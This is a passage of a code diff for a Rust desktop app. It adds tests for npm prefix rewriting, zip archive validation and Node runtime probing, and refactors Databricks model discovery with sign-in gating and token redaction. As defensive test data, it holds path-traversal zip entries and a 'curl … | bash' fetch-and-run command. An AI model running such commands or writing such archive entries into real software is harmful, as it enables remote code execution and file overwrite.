b/desktop/src-tauri/src/commands/agent_discovery/managed_node_tests.rs @@ -0,0 +1,481 @@ +use super::*; + +#[test] +fn test_npm_eacces_hint_guidance_mentions_buzz_private_dir() { + let hint = npm_eacces_hint("EACCES: permission denied", "npm install -g foo").unwrap(); + assert!( + hint.contains("Buzz's private Node tools directory"), + "hint: {hint}" + ); +} + +#[test] +fn test_rewrite_npm_install_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install( + "npm install -g @agentclientprotocol/codex-acp", + "'/tmp/Buzz Node'" + ), + "npm install --global --prefix '/tmp/Buzz Node' @agentclientprotocol/codex-acp" + ); +} + +#[test] +fn test_rewrite_npm_i_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install("npm i -g some-package", "'/tmp/buzz'"), + "npm i --global --prefix '/tmp/buzz' some-package" + ); +} + +#[test] +fn test_rewrite_npm_uninstall_uses_private_prefix() { + assert_eq!( + rewrite_npm_global_install("npm uninstall -g @zed-industries/codex-acp", "'/tmp/buzz'"), + "npm uninstall --global --prefix '/tmp/buzz' @zed-industries/codex-acp" + ); +} + +#[test] +fn test_rewrite_ignores_non_global_command() { + assert_eq!( + rewrite_npm_global_install("npm install foo", "'/tmp/buzz'"), + "npm install foo" + ); +} + +#[test] +fn test_shell_quote_escapes_single_quotes() { + assert_eq!( + shell_quote(std::path::Path::new("/tmp/Buzz's Node")), + "'/tmp/Buzz'\\''s Node'" + ); +} + +// ── zip validation tests ────────────────────────────────────────────────────── + +/// Build an in-memory zip archive with the supplied entry names and return +/// a temporary file containing it (zip::ZipArchive requires Seek). +fn make_zip_with_entries(entry_names: &[&str]) -> tempfile::NamedTempFile { + let mut buf: Vec = Vec::new(); + { + let mut writer = zip::ZipWriter::new(std::io::Cursor::new(&mut buf)); + let opts = zip::write::SimpleFileOptions::default(); + for name in entry_names { + writer.start_file(*name, opts).unwrap(); + } + writer.finish().unwrap(); + } + let mut tmp = tempfile::NamedTempFile::new().unwrap(); + std::io::Write::write_all(&mut tmp, &buf).unwrap(); + tmp +} + +#[test] +fn test_validate_zip_accepts_normal_entries() { + let tmp = make_zip_with_entries(&[ + "node-v24.18.0-win-x64/node.exe", + "node-v24.18.0-win-x64/npm.cmd", + "node-v24.18.0-win-x64/npm", + ]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + assert!(validate_managed_node_zip_entries(&archive).is_ok()); +} + +#[test] +fn test_validate_zip_rejects_absolute_path() { + let tmp = make_zip_with_entries(&["/etc/passwd"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_path_traversal() { + let tmp = make_zip_with_entries(&["../../../etc/passwd"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("path traversal"), + "expected 'path traversal' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_backslash_rooted() { + // Windows-style absolute path using backslash — must reject on every host. + let tmp = make_zip_with_entries(&["\\Windows\\system32\\evil.dll"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_drive_prefix() { + // Windows drive-letter absolute path — must reject on every host. + let tmp = make_zip_with_entries(&["C:\\evil\\payload.exe"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("absolute path"), + "expected 'absolute path' in: {err}" + ); +} + +#[test] +fn test_validate_zip_rejects_backslash_traversal() { + // Path traversal using Windows separator — must reject on every host. + let tmp = make_zip_with_entries(&["node-v24.18.0-win-x64\\..\\..\\evil"]); + let file = std::fs::File::open(tmp.path()).unwrap(); + let archive = zip::ZipArchive::new(file).unwrap(); + let err = validate_managed_node_zip_entries(&archive).unwrap_err(); + assert!( + err.contains("path traversal"), + "expected 'path traversal' in: {err}" + ); +} + +// ── verify_node_tree layout tests ───────────────────────────────────────────── + +#[test] +fn test_verify_node_tree_unix_layout_passes() { + let tmp = tempfile::TempDir::new().unwrap(); + let bin = tmp.path().join("bin"); + std::fs::create_dir_all(&bin).unwrap(); + std::fs::write(bin.join("node"), b"").unwrap(); + std::fs::write(bin.join("npm"), b"").unwrap(); + // On non-Windows the unix branch is active — this must pass. + #[cfg(not(windows))] + assert!(verify_node_tree(tmp.path()).is_ok()); + // On Windows the windows branch is active — unix layout must fail. + #[cfg(windows)] + assert!(verify_node_tree(tmp.path()).is_err()); +} + +#[test] +fn test_verify_node_tree_unix_layout_missing_npm_fails() { + let tmp = tempfile::TempDir::new().unwrap(); + let bin = tmp.path().join("bin"); + std::fs::create_dir_all(&bin).unwrap(); + std::fs::write(bin.join("node"), b"").unwrap(); + // npm intentionally absent + #[cfg(not(windows))] + { + let err = verify_node_tree(tmp.path()).unwrap_err(); + assert!(err.contains("bin/npm"), "err: {err}"); + } +} + +#[test] +fn test_verify_node_tree_windows_layout_passes() { + let tmp = tempfile::TempDir::new().unwrap(); + std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); + std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); + std::fs::write(tmp.path().join("npm"), b"").unwrap(); + // On Windows the windows branch is active — this must pass. + #[cfg(windows)] + assert!(verify_node_tree(tmp.path()).is_ok()); + // On non-Windows the unix branch is active — windows-layout root files + // don't satisfy bin/node + bin/npm, so this must fail. + #[cfg(not(windows))] + assert!(verify_node_tree(tmp.path()).is_err()); +} + +#[test] +fn test_verify_node_tree_windows_layout_missing_npm_shim_fails() { + let tmp = tempfile::TempDir::new().unwrap(); + std::fs::write(tmp.path().join("node.exe"), b"").unwrap(); + std::fs::write(tmp.path().join("npm.cmd"), b"").unwrap(); + // npm POSIX shim intentionally absent + #[cfg(windows)] + { + let err = verify_node_tree(tmp.path()).unwrap_err(); + assert!(err.contains("npm"), "err: {err}"); + } +} + +// ── should_invalidate_adapter / orphan policy pure unit tests ───────────────── + +#[test] +fn test_should_invalidate_adapter_invalidates_managed_shim_when_orphaned() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let shim = prefix.join("codex-acp"); + assert!( + should_invalidate_adapter(&shim, prefix, true), + "managed shim + orphaned runtime must be invalidated" + ); +} + +#[test] +fn test_should_invalidate_adapter_keeps_external_adapter_when_orphaned() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let external = std::path::Path::new("/usr/local/bin/codex-acp"); + assert!( + !should_invalidate_adapter(external, prefix, true), + "external adapter must not be invalidated even when Node is orphaned" + ); +} + +#[test] +fn test_should_invalidate_adapter_keeps_managed_shim_when_node_healthy() { + let prefix = std::path::Path::new("/managed/npm/bin"); + let shim = prefix.join("codex-acp"); + assert!( + !should_invalidate_adapter(&shim, prefix, false), + "managed shim must not be invalidated when Node is healthy" + ); +} + +#[test] +fn test_resolve_adapter_path_returns_none_when_binary_absent() { + let commands: &[&str] = &["nonexistent-buzz-test-binary-xyz"]; + let adapter_install_commands: &[&str] = &["curl -fsSL https://example.com | bash"]; + assert!( + resolve_adapter_path(commands, adapter_install_commands).is_none(), + "must return None when the command is not on PATH" + ); +} + +// ── probe_node seam regressions ─────────────────────────────────────────────── +// +// All four scenarios drive probe_node() directly — the same +// tempfile/deadline/cleanup/status/version path used by managed_node_runtime_ready. +// Each test CAN fail if production: +// - drops process_group(0) → descendant-holds-stdout assertion (d) fails +// (tempfile transport still returns promptly; +// the sleep survives and kill($!,0) returns 0) +// - skips group-kill on a path → hung-binary test exceeds margin +// - ignores exit_status.success() → nonzero-exit test returns true +// - skips version comparison → wrong-version test returns true +// +// Script files are written into a TempDir (no open write fd at spawn time) +// to avoid ETXTBSY on Linux. + +/// Scenario 1 — descendant holds stdout write-end, direct child exits immediately. +/// +/// The script backgrounds a 60-second sleep (inheriting stdout), records both the +/// script's own PID (`$$`) and the sleep's PID (`$!`) to sidecar files, then exits +/// with the expected version string. Four assertions: +/// (a) bounded return — would hang ~60 s if tempfile transport regressed to pipe; +/// (b) correct result; +/// (c) process group dead after return — catches skipped-cleanup-on-success: if +/// the group-kill is absent but `process_group(0)` is still present, a live +/// member in the group is detectable; +/// (d) descendant PID dead after return — catches dropped `process_group(0)`: if +/// the call is removed the sleep stays in the runner's group (not the probe's), +/// `kill(-pgid,0)` is vacuously ESRCH, but `kill(desc_pid,0)` returns 0 and +/// this assertion fails. This is the canonical mutation for (c). +#[cfg(unix)] +#[test] +fn test_probe_node_descendant_holds_stdout_returns_promptly_and_kills_group() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("probe.sh"); + let pgid_file = tmp_dir.path().join("pgid"); + let desc_pid_file = tmp_dir.path().join("desc_pid"); + let pgid_file_path = pgid_file.to_str().unwrap().to_owned(); + let desc_pid_file_path = desc_pid_file.to_str().unwrap().to_owned(); + // Line 1 of script: record the script's own PID (= PGID after process_group(0)). + // Line 2: background the sleep and record its PID. + // Line 3: emit the expected version and exit so the direct child exits promptly. + let script_content = format!( + "#!/bin/sh\necho $$ > {pgid_file_path}\n/bin/sleep 60 &\necho $! > {desc_pid_file_path}\necho v24.18.0\nexit 0\n" + ); + std::fs::write(&script, script_content.as_bytes()).unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let probe_timeout = std::time::Duration::from_secs(3); + let t = std::time::Instant::now(); + let result = probe_node(&script, "v24.18.0", probe_timeout); + let elapsed = t.elapsed(); + + // Give the group-kill a moment to propagate before checking liveness. + std::thread::sleep(std::time::Duration::from_millis(200)); + + // (a) bounded return — tempfile transport must not hang on the descendant's + // retained pipe write-end. + assert!( + elapsed < probe_timeout + std::time::Duration::from_secs(2), + "probe_node hung — likely descendant retained pipe write-end: elapsed {elapsed:?}" + ); + // (b) correct result + assert!(result, "probe_node must return true for matching version"); + + // (c) process group dead — catches skipped-cleanup: if the group-kill on the + // success path is removed while process_group(0) is still present, the + // sleep remains in the probe's group and kill(-pgid,0) returns 0. + let pgid_str = std::fs::read_to_string(&pgid_file) + .expect("script must have written its PID to the pgid sidecar"); + let pgid: i32 = pgid_str + .trim() + .parse() + .expect("pgid sidecar must contain a numeric PID"); + let group_alive = unsafe { libc::kill(-pgid, 0) } == 0; + assert!( + !group_alive, + "process group {pgid} must be dead after probe_node" + ); + + // (d) descendant PID dead — catches dropped process_group(0): without that + // call the sleep is never in the probe's group, so kill(-pgid,0) is + // vacuously ESRCH while the sleep survives. Asserting the descendant's + // own PID is dead proves the sleep was actually killed. + let desc_pid_str = std::fs::read_to_string(&desc_pid_file) + .expect("script must have written the sleep PID to the desc_pid sidecar"); + let desc_pid: libc::pid_t = desc_pid_str + .trim() + .parse() + .expect("desc_pid sidecar must contain a numeric PID"); + // Pre-assert cleanup: if the descendant is somehow still alive, kill it so + // a failing test does not leave a 60-second sleep in the runner's process group. + let desc_alive = unsafe { libc::kill(desc_pid, 0) } == 0; + if desc_alive { + unsafe { libc::kill(desc_pid, libc::SIGKILL) }; + } + assert!( + !desc_alive, + "descendant PID {desc_pid} must be dead after probe_node — \ + if process_group(0) is dropped, the sleep escapes into the runner's group \ + and is never killed by the group-kill" + ); +} + +/// Scenario 2 — direct hang: probe_node must traverse the real try_wait +/// deadline and return false. Does NOT call kill_probe_group directly. +/// +/// This test FAILS if the deadline loop in probe_node is broken or if the +/// timeout/kill path is not exercised (e.g., missing group-kill exits the +/// loop early via a different mechanism). +#[cfg(unix)] +#[test] +fn test_probe_node_times_out_on_hung_binary() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("hung.sh"); + std::fs::write(&script, b"#!/bin/sh\n/bin/sleep 30\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let probe_timeout = std::time::Duration::from_secs(3); + let t = std::time::Instant::now(); + let result = probe_node(&script, "v24.18.0", probe_timeout); + let elapsed = t.elapsed(); + + assert!(!result, "probe_node must return false for a hung binary"); + // Must have traversed the deadline (not returned early via a bug). + assert!( + elapsed >= probe_timeout, + "probe_node returned before deadline: {elapsed:?} < {probe_timeout:?}" + ); + // Must not hang past the deadline by more than the poll interval + margin. + assert!( + elapsed < probe_timeout + std::time::Duration::from_secs(3), + "probe_node exceeded deadline by too much: {elapsed:?}" + ); +} + +/// Scenario 3 — non-zero exit: probe_node must return false even when stdout +/// contains the expected version string. +/// +/// This test FAILS if probe_node skips or inverts the exit_status.success() check. +#[cfg(unix)] +#[test] +fn test_probe_node_returns_false_on_nonzero_exit() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("fail.sh"); + // Prints the expected version string but exits non-zero. + std::fs::write(&script, b"#!/bin/sh\necho v24.18.0\nexit 1\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when the process exits non-zero" + ); +} + +/// Scenario 4 — wrong version output: probe_node must return false when stdout +/// does not match expected_version. +/// +/// This test FAILS if probe_node skips or incorrectly performs the version comparison. +#[cfg(unix)] +#[test] +fn test_probe_node_returns_false_on_wrong_version_output() { + use std::os::unix::fs::PermissionsExt; + let tmp_dir = tempfile::TempDir::new().unwrap(); + let script = tmp_dir.path().join("wrongver.sh"); + std::fs::write(&script, b"#!/bin/sh\necho v99.0.0\nexit 0\n").unwrap(); + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).unwrap(); + + let result = probe_node(&script, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when stdout version does not match expected" + ); +} + +/// Windows-shaped seam: non-zero exit via .bat file. +/// +/// Drives the same probe_node path on Windows (terminate_process / taskkill /T /F). +/// This test FAILS if probe_node ignores exit_status.success() on Windows. +#[cfg(windows)] +#[test] +fn test_probe_node_windows_returns_false_on_nonzero_exit() { + let tmp_dir = tempfile::TempDir::new().unwrap(); + let bat = tmp_dir.path().join("fail.bat"); + // Prints the expected version but exits non-zero — must still fail. + std::fs::write(&bat, b"@echo off\r\necho v24.18.0\r\nexit /b 1\r\n").unwrap(); + + let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when the .bat exits non-zero (Windows)" + ); +} + +/// Windows-shaped seam: wrong version output via .bat file. +/// +/// This test FAILS if probe_node skips the version comparison on Windows. +#[cfg(windows)] +#[test] +fn test_probe_node_windows_returns_false_on_wrong_version_output() { + let tmp_dir = tempfile::TempDir::new().unwrap(); + let bat = tmp_dir.path().join("wrongver.bat"); + std::fs::write(&bat, b"@echo off\r\necho v99.0.0\r\nexit /b 0\r\n").unwrap(); + + let result = probe_node(&bat, "v24.18.0", std::time::Duration::from_secs(3)); + assert!( + !result, + "probe_node must return false when stdout version does not match (Windows)" + ); +} + +/// Returns false when the node binary path does not exist (fast path, no spawn). +#[test] +fn test_managed_node_runtime_ready_returns_false_when_binary_absent() { + let Some(node) = crate::managed_agents::buzz_managed_node_bin_path() else { + assert!( + !managed_node_runtime_ready(), + "managed_node_runtime_ready must return false when no path resolves" + ); + return; + }; + if node.is_file() { + return; + } + assert!( + !managed_node_runtime_ready(), + "managed_node_runtime_ready must return false when the binary file does not exist" + ); +} diff --git a/desktop/src-tauri/src/commands/agent_metric_archive.rs b/desktop/src-tauri/src/commands/agent_metric_archive.rs index 43cfc7b082..77de870871 100644 --- a/desktop/src-tauri/src/commands/agent_metric_archive.rs +++ b/desktop/src-tauri/src/commands/agent_metric_archive.rs @@ -1,35 +1,18 @@ -//! Build-time flag for agent-turn-metric archive default. +//! Agent-turn-metric archive default — always enabled. //! -//! When `BUZZ_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT` is set at build time -//! (internal builds), `agent_metric_archive_default_enabled()` returns `true` -//! and the frontend auto-seeds an `owner_p` save subscription for kind 44200 -//! (agent turn metrics) on first run for the current identity. -//! -//! OSS builds (env var unset) return `false` — no auto-seeding, user opts in -//! manually via the Local Archive settings card. +//! `agent_metric_archive_default_enabled()` returns `true` unconditionally. +//! The frontend calls this once at startup to decide whether to seed the +//! `owner_p` [44200] save subscription for the current identity on first run. +//! The `hasExplicitChoice` guard in the TS seed hook ensures a user who has +//! explicitly opted out remains opted out. -/// Returns `true` when an internal build has agent-turn-metric archive -/// default-on. +/// Returns `true`: agent-turn-metric archive defaults to enabled for all builds. /// -/// The frontend calls this once at startup to decide whether to seed the -/// `owner_p` [44200] save subscription. The result is stable for the lifetime -/// of the binary — it is baked at compile time. +/// The frontend uses this to decide whether to auto-seed an `owner_p` [44200] +/// save subscription on first run. Existing explicit choices (stored in +/// localStorage per identity) are preserved by the seed hook's `hasExplicitChoice` +/// guard — this default only applies to identities that have never made a choice. #[tauri::command] pub fn agent_metric_archive_default_enabled() -> bool { - option_env!("BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT").is_some() -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_agent_metric_archive_default_enabled_returns_false_in_oss_build() { - // In a standard OSS/test build (no BUZZ_DESKTOP_BUILD_AGENT_METRIC_ARCHIVE_DEFAULT - // baked in), this must return false. - assert!( - !agent_metric_archive_default_enabled(), - "expected false in OSS/test build" - ); - } + true } diff --git a/desktop/src-tauri/src/commands/agent_models.rs b/desktop/src-tauri/src/commands/agent_models.rs index 7ce03b140b..4704582372 100644 --- a/desktop/src-tauri/src/commands/agent_models.rs +++ b/desktop/src-tauri/src/commands/agent_models.rs @@ -137,6 +137,7 @@ pub async fn get_agent_models( &effective_provider, &merged_env, persisted_model.clone(), + DatabricksAuthIntent::InteractiveModelPicker, ) .await? { @@ -307,9 +308,14 @@ pub async fn discover_agent_models( return Ok(models); } - if let Some(models) = - discover_databricks_models(&state.http_client, &effective_provider, &merged_env, None) - .await? + if let Some(models) = discover_databricks_models( + &state.http_client, + &effective_provider, + &merged_env, + None, + DatabricksAuthIntent::PassiveDraftDiscovery, + ) + .await? { return Ok(models); } @@ -681,97 +687,14 @@ async fn discover_anthropic_models( })) } -// --------------------------------------------------------------------------- -// Databricks model discovery (v1 + v2) -// --------------------------------------------------------------------------- -// -// Delegates to buzz_agent_pkg::catalog::discover_databricks_models, which -// acquires auth in-process via build_token_source: -// - Static bearer (DATABRICKS_TOKEN): returned immediately. -// - PKCE cache hit: returned from disk without a browser flow. -// - No token, no cache: returns Err(LlmAuth) → we return Ok(None) and fall -// through to run_agent_models_command. Never hangs, never opens a browser. - -fn is_databricks_provider(provider: Option<&str>) -> bool { - matches!( - provider - .map(str::trim) - .map(str::to_ascii_lowercase) - .as_deref(), - Some("databricks" | "databricks_v2" | "databricks-v2") - ) -} - -fn databricks_agent_provider(provider: &str) -> buzz_agent_pkg::config::Provider { - if provider.trim().eq_ignore_ascii_case("databricks_v2") - || provider.trim().eq_ignore_ascii_case("databricks-v2") - { - buzz_agent_pkg::config::Provider::DatabricksV2 - } else { - buzz_agent_pkg::config::Provider::Databricks - } -} - -async fn discover_databricks_models( - _client: &reqwest::Client, - provider: &DiscoveryProvider, - env: &BTreeMap, - selected_model: Option, -) -> Result, String> { - let provider_str = match provider.as_deref() { - Some(p) if is_databricks_provider(Some(p)) => p, - _ => return Ok(None), - }; - - let host = match env_or_process_value(env, "DATABRICKS_HOST") { - Some(h) => h, - None => return Ok(None), // no host → fall through to subprocess - }; - - // api_key = DATABRICKS_TOKEN (empty string = use PKCE cache). - let api_key = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default(); - - let agent_provider = databricks_agent_provider(provider_str); - let cfg = buzz_agent_pkg::config::Config::for_discovery(agent_provider, api_key, host); - - // Build a redaction env so the token never appears in surfaced errors. - let token_for_redact = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default(); - let redaction_env = redaction_env_with_value(env, "DATABRICKS_TOKEN", &token_for_redact); - - let entries = match buzz_agent_pkg::discover_databricks_models(&cfg).await { - Ok(e) => e, - Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => { - // No token + no PKCE cache → fall through to subprocess. - return Ok(None); - } - Err(e) => { - let msg = crate::managed_agents::redact_env_values_in(&e.to_string(), &redaction_env); - return Err(format!("Databricks model discovery failed: {msg}")); - } - }; - - if entries.is_empty() { - return Err("Databricks model discovery returned no models".to_string()); - } - - let models = entries - .into_iter() - .map(|e| AgentModelInfo { - id: e.id, - name: Some(e.name), - description: None, - }) - .collect(); - - Ok(Some(AgentModelsResponse { - agent_name: provider_str.trim().to_string(), - agent_version: "models-api".to_string(), - models, - agent_default_model: None, - selected_model, - supports_switching: true, - })) -} +#[path = "agent_models_databricks.rs"] +mod databricks; +#[cfg(test)] +use databricks::{ + databricks_sign_in_required_error, databricks_static_token_error, is_databricks_provider, + should_start_interactive_auth, +}; +use databricks::{discover_databricks_models, DatabricksAuthIntent}; /// Apply an `UpdateManagedAgentRequest`'s model/provider/system_prompt patch /// to `record`, enforcing the linked-instance write guard: a definition-linked diff --git a/desktop/src-tauri/src/commands/agent_models_databricks.rs b/desktop/src-tauri/src/commands/agent_models_databricks.rs new file mode 100644 index 0000000000..63b4564e61 --- /dev/null +++ b/desktop/src-tauri/src/commands/agent_models_databricks.rs @@ -0,0 +1,174 @@ +//! Databricks v1/v2 model discovery and interactive reauthentication. + +use std::collections::BTreeMap; +use std::sync::LazyLock; + +use crate::commands::agent_models_env::{ + env_or_process_value, redaction_env_with_value, DiscoveryProvider, +}; +use crate::managed_agents::AgentModelInfo; +use crate::managed_agents::AgentModelsResponse; + +// Model discovery can be triggered by multiple dialogs at once. Permit only one +// callback listener/browser flow for the process-wide OAuth cache. +static AUTH_GATE: LazyLock> = LazyLock::new(|| tokio::sync::Mutex::new(())); + +pub(super) fn is_databricks_provider(provider: Option<&str>) -> bool { + matches!( + provider + .map(str::trim) + .map(str::to_ascii_lowercase) + .as_deref(), + Some("databricks" | "databricks_v2" | "databricks-v2") + ) +} + +fn databricks_agent_provider(provider: &str) -> buzz_agent_pkg::config::Provider { + if provider.trim().eq_ignore_ascii_case("databricks_v2") + || provider.trim().eq_ignore_ascii_case("databricks-v2") + { + buzz_agent_pkg::config::Provider::DatabricksV2 + } else { + buzz_agent_pkg::config::Provider::Databricks + } +} + +pub(super) fn databricks_static_token_error( + error: &str, + redaction_env: &BTreeMap, +) -> String { + let message = crate::managed_agents::redact_env_values_in(error, redaction_env); + format!("Databricks rejected DATABRICKS_TOKEN; update it in agent settings: {message}") +} + +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub(super) enum DatabricksAuthIntent { + /// A saved agent's model picker was opened by the user. + InteractiveModelPicker, + /// Discovery was triggered automatically from unsaved form state. + PassiveDraftDiscovery, +} + +impl DatabricksAuthIntent { + fn allows_interactive_auth(self) -> bool { + matches!(self, Self::InteractiveModelPicker) + } +} + +pub(super) fn databricks_sign_in_required_error() -> String { + "Databricks sign-in is required; save this agent, then open its model picker to sign in, or run `buzz-agent auth databricks`" + .to_string() +} + +pub(super) fn should_start_interactive_auth( + api_key: &str, + auth_intent: DatabricksAuthIntent, +) -> bool { + api_key.is_empty() && auth_intent.allows_interactive_auth() +} + +pub(super) async fn discover_databricks_models( + _client: &reqwest::Client, + provider: &DiscoveryProvider, + env: &BTreeMap, + selected_model: Option, + auth_intent: DatabricksAuthIntent, +) -> Result, String> { + let provider_name = match provider.as_deref() { + Some(provider_name) if is_databricks_provider(Some(provider_name)) => provider_name, + _ => return Ok(None), + }; + + let host = match env_or_process_value(env, "DATABRICKS_HOST") { + Some(host) => host, + None => return Ok(None), + }; + let api_key = env_or_process_value(env, "DATABRICKS_TOKEN").unwrap_or_default(); + let config = buzz_agent_pkg::config::Config::for_discovery( + databricks_agent_provider(provider_name), + api_key.clone(), + host.clone(), + ); + let redaction_env = redaction_env_with_value(env, "DATABRICKS_TOKEN", &api_key); + + let entries = match buzz_agent_pkg::discover_databricks_models(&config).await { + Ok(entries) => entries, + Err(buzz_agent_pkg::AgentError::LlmAuth(_)) + if should_start_interactive_auth(&api_key, auth_intent) => + { + let _auth = AUTH_GATE.lock().await; + match buzz_agent_pkg::discover_databricks_models(&config).await { + Ok(entries) => entries, + Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => { + buzz_agent_pkg::authenticate_databricks(&host) + .await + .map_err(|error| { + format_redacted_error( + "Databricks sign-in failed", + &error, + &redaction_env, + ) + })?; + buzz_agent_pkg::discover_databricks_models(&config) + .await + .map_err(|error| { + format_redacted_error( + "Databricks model discovery failed after sign-in", + &error, + &redaction_env, + ) + })? + } + Err(error) => { + return Err(format_redacted_error( + "Databricks model discovery failed", + &error, + &redaction_env, + )); + } + } + } + Err(buzz_agent_pkg::AgentError::LlmAuth(error)) if !api_key.is_empty() => { + return Err(databricks_static_token_error(&error, &redaction_env)); + } + Err(buzz_agent_pkg::AgentError::LlmAuth(_)) => { + return Err(databricks_sign_in_required_error()); + } + Err(error) => { + return Err(format_redacted_error( + "Databricks model discovery failed", + &error, + &redaction_env, + )); + } + }; + + if entries.is_empty() { + return Err("Databricks model discovery returned no models".to_string()); + } + + Ok(Some(AgentModelsResponse { + agent_name: provider_name.trim().to_string(), + agent_version: "models-api".to_string(), + models: entries + .into_iter() + .map(|entry| AgentModelInfo { + id: entry.id, + name: Some(entry.name), + description: None, + }) + .collect(), + agent_default_model: None, + selected_model, + supports_switching: true, + })) +} + +fn format_redacted_error( + context: &str, + error: &impl std::fmt::Display, + redaction_env: &BTreeMap, +) -> String { + let message = crate::managed_agents::redact_env_values_in(&error.to_string(), redaction_env); + format!("{context}: {message}") +} diff --git a/desktop/src-tauri/src/commands/agent_models_tests.rs b/desktop/src-tauri/src/commands/agent_models_tests.rs index 14c981d730..e7d0e70fd0 100644 --- a/desktop/src-tauri/src/commands/agent_models_tests.rs +++ b/desktop/src-tauri/src/commands/agent_models_tests.rs @@ -576,6 +576,29 @@ fn is_databricks_provider_matches_both_variants() { assert!(!is_databricks_provider(None)); } +#[test] +fn databricks_interactive_auth_requires_explicit_intent_and_no_static_token() { + assert!(should_start_interactive_auth( + "", + DatabricksAuthIntent::InteractiveModelPicker + )); + assert!(!should_start_interactive_auth( + "", + DatabricksAuthIntent::PassiveDraftDiscovery + )); + assert!(!should_start_interactive_auth( + "static-token", + DatabricksAuthIntent::InteractiveModelPicker + )); +} + +#[test] +fn databricks_passive_auth_error_has_reachable_create_flow_guidance() { + let error = databricks_sign_in_required_error(); + assert!(error.contains("save this agent, then open its model picker")); + assert!(error.contains("buzz-agent auth databricks")); +} + #[test] fn model_discovery_error_converts_dangling_sentinel_to_sentence() { // get_agent_models is a user-facing surface: a dangling harness must @@ -881,3 +904,21 @@ fn draft_agent_model_discovery_env_layers_all_three_tiers_in_order() { ); } } + +#[test] +fn databricks_static_token_error_redacts_echoed_token() { + let token = "secret-databricks-token"; + let redaction_env = BTreeMap::from([("DATABRICKS_TOKEN".to_string(), token.to_string())]); + + let error = databricks_static_token_error( + &format!("Databricks rejected bearer {token}"), + &redaction_env, + ); + + assert!(error.contains("[REDACTED]"), "got: {error}"); + assert!(!error.contains(token), "token leaked in error: {error}"); + assert!( + error.contains("update it in agent settings"), + "error lost its remediation: {error}" + ); +} diff --git a/desktop/src-tauri/src/commands/agents.rs b/desktop/src-tauri/src/commands/agents.rs index 0758fc3aac..dd61fc9398 100644 --- a/desktop/src-tauri/src/commands/agents.rs +++ b/desktop/src-tauri/src/commands/agents.rs @@ -1355,14 +1355,14 @@ pub async fn delete_managed_agent( // 2. Harness sees it, exits gracefully, sets presence to "offline" // 3. Desktop's existing presence polling sees "offline" — UI updates automatically // No backend Tauri command needed. Presence IS the status. - #[path = "agents_deploy.rs"] mod deploy; +pub(super) mod provider_access; use deploy::build_deploy_payload; #[cfg(test)] -use deploy::deploy_payload_json; +use deploy::{deploy_payload_json, DeployProjections}; #[cfg(test)] -pub(crate) use deploy::resolve_deploy_model_provider; +use deploy::{ensure_remote_provider_supported, resolve_deploy_model_provider}; #[path = "agents_profile.rs"] mod profile; diff --git a/desktop/src-tauri/src/commands/agents/provider_access.rs b/desktop/src-tauri/src/commands/agents/provider_access.rs new file mode 100644 index 0000000000..467230e56f --- /dev/null +++ b/desktop/src-tauri/src/commands/agents/provider_access.rs @@ -0,0 +1,196 @@ +//! Upgrade reconciliation for provider-backed managed-agent access. + +use tauri::AppHandle; + +use crate::{ + app_state::AppState, + managed_agents::{ + find_managed_agent_mut, load_managed_agents, save_managed_agents, BackendKind, + ManagedAgentRecord, + }, + util::now_iso, +}; + +pub(super) fn needs_reconciliation_with_policy( + record: &ManagedAgentRecord, + owner_only_access: bool, +) -> bool { + owner_only_access && record.backend != BackendKind::Local && record.backend_agent_id.is_some() +} + +#[derive(Debug)] +struct ProviderAccessTarget { + pubkey: String, + provider_id: String, + config: serde_json::Value, + cached_binary_path: Option, + agent_json: Result, +} + +fn collect_targets_with( + records: Vec, + owner_only_access: bool, + mut build_payload: impl FnMut(&ManagedAgentRecord) -> Result, +) -> Vec { + records + .into_iter() + .filter(|record| needs_reconciliation_with_policy(record, owner_only_access)) + .map(|record| match record.backend.clone() { + BackendKind::Provider { id, config } => 